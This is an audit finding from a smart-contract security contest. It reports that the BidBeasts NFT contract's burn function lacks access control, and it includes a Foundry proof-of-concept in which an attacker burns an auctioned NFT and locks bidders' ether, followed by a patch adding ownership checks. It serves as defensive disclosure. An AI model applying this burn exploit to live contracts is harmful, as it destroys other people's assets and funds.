Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Unrestricted NFT Burn Function Allows Malicious Destruction of Listed Assets and Auction Manipulation

harshhegde662005

Root + Impact

Description

  • Describe the normal behavior in one or more sentences

  • Explain the specific issue or problem in one or more sentences

// Root cause in the codebase with @> marks to highlight the relevant sThe BidBeasts NFT marketplace allows users to list their NFTs for auction, where the NFTs are held in the marketplace contract during the auction period. However, the NFT contract's burn function lacks any access controls, allowing anyone to destroy NFTs even while they're actively being auctioned.
Normal behavior:
Users list NFTs in the marketplace
NFTs are transferred to the marketplace contract
Users place bids on listed NFTs
After auction ends, NFT is transferred to the winner
The specific issue:
The burn function in BidBeasts_NFT_ERC721.sol is completely public and lacks any ownership or approval check

Risk

Likelihood:

  • Reason 1 Easy to execute (single transaction)

  • Reason 2 Can be exploited by any external actor

Impact:

  • Impact 1 Loss of valuable NFT assets during active auctions

  • Impact 2 Permanent loss of user funds (locked ETH from bids)

Proof of Concept

This PoC demonstrates that:

  1. Any address can burn NFTs they don't own

  1. NFTs can be burned while in active auction

  1. Bidder's funds become locked in the contract

  1. Auction settlement fails due to non-existent NFT

Setup:
​
// Initial setup
address attacker = makeAddr("attacker");
address seller = makeAddr("seller");
address bidder = makeAddr("bidder");
​
// Mint NFT to seller
vm.prank(marketplace.owner());
uint256 tokenId = nftContract.mint(seller);
​
// Seller approves marketplace
vm.prank(seller);
nftContract.approve(address(marketplace), tokenId);
​
Exploit:
​
function exploitScenario() {
// 1. Alice lists NFT for auction
marketplace.listNFT(tokenId, 1 ether, 2 ether);
// 2. Bob places bid
vm.prank(bob);
marketplace.placeBid{value: 1.5 ether}(tokenId);
// 3. Malicious actor burns the NFT
vm.prank(attacker);
nftContract.burn(tokenId); // Successfully burns NFT
// 4. Auction settlement fails, funds locked
vm.expectRevert();
marketplace.settleAuction(tokenId);
}

Recommended Mitigation

These mitigations ensure:

  1. Only authorized parties can burn NFTs

  1. NFTs can't be burned while in active auction

  1. Marketplace operations verify NFT existence

  1. Clear separation of concerns between contracts

  1. Proper access control hierarchy

- remove this code
function burn(uint256 _tokenId) public {
_burn(_tokenId);
emit BidBeastsBurn(msg.sender, _tokenId);
}
+ add this code
function burn(uint256 _tokenId) public {
require(
msg.sender == ownerOf(_tokenId) ||
msg.sender == getApproved(_tokenId) ||
isApprovedForAll(ownerOf(_tokenId), msg.sender),
"Not authorized to burn"
);
_burn(_tokenId);
emit BidBeastsBurn(msg.sender, _tokenId);
}
Updates

Lead Judging Commences

cryptoghost Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeasts ERC721: Anyone Can Burn

In the BidBeasts ERC721 implementation, the burn function is publicly accessible, allowing any external user to burn NFTs they do not own. This exposes all tokens to unauthorized destruction and results in permanent asset loss.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!